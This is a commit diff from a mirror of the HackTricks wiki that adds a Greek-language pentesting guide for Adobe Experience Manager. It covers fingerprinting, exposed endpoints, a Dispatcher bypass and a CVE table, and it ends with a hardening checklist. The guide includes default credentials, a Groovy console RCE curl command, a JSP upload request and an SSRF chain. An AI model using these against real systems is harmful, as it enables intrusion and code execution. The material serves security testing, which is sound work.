mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
fc1d6a1689
commit
fbff3911c6
@ -1,5 +1,117 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
# AEM (Adobe Experience Manager) Pentesting
|
||||||
|
|
||||||
Βρείτε ευπάθειες και κακές ρυθμίσεις με [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
> Adobe Experience Manager (AEM, μέρος του Adobe Experience Cloud) είναι ένα enterprise CMS που τρέχει πάνω από το Apache Sling/Felix (OSGi) και ένα Java Content Repository (JCR).
|
||||||
|
> Από την οπτική γωνία ενός επιτιθέμενου, οι περιπτώσεις AEM συχνά εκθέτουν επικίνδυνες αναπτυξιακές τελικές σημεία, αδύναμους κανόνες Dispatcher, προεπιλεγμένα διαπιστευτήρια και μια μακρά λίστα CVEs που διορθώνονται κάθε τρίμηνο.
|
||||||
|
|
||||||
|
Η παρακάτω λίστα ελέγχου εστιάζει σε **εξωτερικά προσβάσιμη (unauth) επιφάνεια επίθεσης** που συνεχίζει να εμφανίζεται σε πραγματικές εμπλοκές (2022-2025).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Fingerprinting
|
||||||
|
```
|
||||||
|
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||||
|
X-Content-Type-Options: nosniff
|
||||||
|
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||||
|
X-Vary: Accept-Encoding
|
||||||
|
```
|
||||||
|
Άλλοι γρήγοροι δείκτες:
|
||||||
|
* `/etc.clientlibs/` στατική διαδρομή παρούσα (επιστρέφει JS/CSS).
|
||||||
|
* `/libs/granite/core/content/login.html` σελίδα σύνδεσης με την μπάντα “Adobe Experience Manager”.
|
||||||
|
* `</script><!--/* CQ */-->` σχόλιο στο κάτω μέρος του HTML.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Υψηλής αξίας μη αυθεντικοποιημένα endpoints
|
||||||
|
|
||||||
|
Διαδρομή | Τι παίρνετε | Σημειώσεις
|
||||||
|
---- | ------------- | -----
|
||||||
|
`/.json`, `/.1.json` | JCR κόμβοι μέσω **DefaultGetServlet** | Συχνά μπλοκαρισμένο, αλλά *Dispatcher bypass* (βλ. παρακάτω) λειτουργεί.
|
||||||
|
`/bin/querybuilder.json?path=/` | QueryBuilder API | Διαρροή δέντρου σελίδας, εσωτερικές διαδρομές, ονόματα χρηστών.
|
||||||
|
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix κονσόλα | 403 από προεπιλογή; αν εκτεθεί & βρεθούν διαπιστευτήρια ⇒ bundle-upload RCE.
|
||||||
|
`/crx/packmgr/index.jsp` | Package Manager | Επιτρέπει αυθεντικοποιημένα πακέτα περιεχομένου → JSP payload upload.
|
||||||
|
`/etc/groovyconsole/**` | AEM Groovy Console | Αν εκτεθεί → αυθαίρετη εκτέλεση Groovy / Java.
|
||||||
|
`/libs/cq/AuditlogSearchServlet.json` | Αρχεία καταγραφής ελέγχου | Διαρροή πληροφοριών.
|
||||||
|
`/libs/cq/ui/content/dumplibs.html` | Dump ClientLibs | XSS vector.
|
||||||
|
|
||||||
|
### Τέχνασμα παράκαμψης Dispatcher
|
||||||
|
Οι περισσότερες παραγωγικές τοποθεσίες βρίσκονται πίσω από τον *Dispatcher* (αντίστροφος διακομιστής μεσολάβησης). Οι κανόνες φίλτρου του μπορούν να παρακαμφθούν προσθέτοντας μια επιτρεπόμενη στατική επέκταση **μετά από ένα ερωτηματικό ή κωδικοποιημένη νέα γραμμή**:
|
||||||
|
```
|
||||||
|
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||||
|
```
|
||||||
|
Μια μόνο αίτηση όπως παραπάνω αποκαλύπτει συχνά κόμβους προφίλ χρηστών με διευθύνσεις email. Οι P-T Partners δημοσίευσαν καλή καθοδήγηση σχετικά με αυτή την αδυναμία. 【】
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Κοινές κακοδιαμορφώσεις (ακόμα ζωντανές το 2025)
|
||||||
|
|
||||||
|
1. **Ανώνυμο POST servlet** – `POST /.json` με `:operation=import` σας επιτρέπει να φυτέψετε νέους κόμβους JCR. Η μπλοκάρισμα του `*.json` POST στον Dispatcher το διορθώνει. 【】
|
||||||
|
2. **Προφίλ χρηστών προσβάσιμα από όλους** – η προεπιλεγμένη ACL παραχωρεί `jcr:read` στο `/home/users/**/profile/*` σε όλους.
|
||||||
|
3. **Προεπιλεγμένα διαπιστευτήρια** – `admin:admin`, `author:author`, `replication:replication`.
|
||||||
|
4. **WCMDebugFilter** ενεργοποιημένο ⇒ αντανάκλαση XSS μέσω `?debug=layout` (CVE-2016-7882, ακόμα βρέθηκε σε παλιές εγκαταστάσεις 6.4).
|
||||||
|
5. **Εκτεθειμένη Groovy Console** – απομακρυσμένη εκτέλεση κώδικα στέλνοντας ένα σενάριο Groovy:
|
||||||
|
```bash
|
||||||
|
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Πρόσφατες ευπάθειες (ρυθμός service-pack)
|
||||||
|
|
||||||
|
Τρίμηνο | CVE | Επηρεαζόμενα | Επιπτώσεις
|
||||||
|
------- | --- | -------- | ------
|
||||||
|
Δεκ 2024 | **CVE-2024-43711** | 6.5.21 και νωρίτερα | Ακατάλληλη επικύρωση εισόδου → **Αυθαίρετη εκτέλεση κώδικα** (απαιτεί χαμηλά προνόμια). 【】
|
||||||
|
Δεκ 2024 | CVE-2024-43724/26 | 6.5.21 και νωρίτερα | DOM / Αποθηκευμένο XSS στο Move Page Wizard. 【】
|
||||||
|
Δεκ 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS βασισμένο σε DOM μέσω κατεργασμένου URL. 【】
|
||||||
|
Δεκ 2022 | CVE-2022-30683 | ≤ 6.5.13 | Σφάλμα σχεδίασης κρυπτογράφησης → αποκρυπτογράφηση μυστικών (χρειάζονται χαμηλά προνόμια). 【】
|
||||||
|
|
||||||
|
Ελέγξτε πάντα το *APSB* δελτίο που αντιστοιχεί στο service-pack του πελάτη και ζητήστε την τελευταία **6.5.22** ή *Cloud Service 2024.11*.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Αποσπάσματα εκμετάλλευσης
|
||||||
|
|
||||||
|
### 5.1 RCE μέσω παράκαμψης dispatcher + ανέβασμα JSP
|
||||||
|
Αν είναι δυνατή η ανώνυμη εγγραφή:
|
||||||
|
```
|
||||||
|
# 1. Create a node that will become /content/evil.jsp
|
||||||
|
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
:contentType=text/plain
|
||||||
|
jcr:data=<% out.println("pwned"); %>
|
||||||
|
:operation=import
|
||||||
|
```
|
||||||
|
Τώρα ζητήστε το `/content/evil.jsp` – το JSP εκτελείται με τον χρήστη διαδικασίας AEM.
|
||||||
|
|
||||||
|
### 5.2 SSRF σε RCE (ιστορικό < 6.3)
|
||||||
|
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||||
|
`aem_ssrf2rce.py` από **aem-hacker** αυτοματοποιεί την πλήρη αλυσίδα. 【】
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Εργαλεία
|
||||||
|
|
||||||
|
* **aem-hacker** – σενάριο καταμέτρησης Swiss-army, υποστηρίζει παράκαμψη dispatcher, ανίχνευση SSRF, ελέγχους προεπιλεγμένων διαπιστευτηρίων και άλλα.
|
||||||
|
```bash
|
||||||
|
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||||
|
```【】
|
||||||
|
* **Content Brute-force** – ζητήστε αναδρομικά `/_jcr_content.(json|html)` για να ανακαλύψετε κρυφά στοιχεία.
|
||||||
|
* **osgi-infect** – ανεβάστε κακόβουλο OSGi bundle μέσω `/system/console/bundles` αν είναι διαθέσιμα διαπιστευτήρια.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Λίστα ελέγχου σκληρύνσης (για τις συστάσεις της αναφοράς σας)
|
||||||
|
|
||||||
|
1. Διατηρήστε την έκδοση στην **τελευταία σωρευτική υπηρεσία** (από Ιούλιο 2025: 6.5.22).
|
||||||
|
2. Αφαιρέστε/περιστρέψτε τους προεπιλεγμένους λογαριασμούς; επιβάλετε SSO/SAML.
|
||||||
|
3. Σφίξτε τους **φίλτρους Dispatcher** – απορρίψτε `;`, κωδικοποιημένες νέες γραμμές και `*.json` ή `*.querybuilder.json` για ανώνυμους χρήστες.
|
||||||
|
4. Απενεργοποιήστε ή προστατέψτε τις κονσόλες (`/system/console`, `/crx/*`, `/etc/groovyconsole`) με λίστες επιτρεπόμενων IP.
|
||||||
|
5. Εφαρμόστε το πακέτο *Anonymous Permission Hardening* που παρέχεται από την Adobe.
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* Adobe Security Bulletin APSB24-69 – “Ενημερώσεις ασφαλείας για το Adobe Experience Manager (Δεκ 2024)”.
|
||||||
|
* 0ang3el – εργαλείο aem-hacker (GitHub).
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user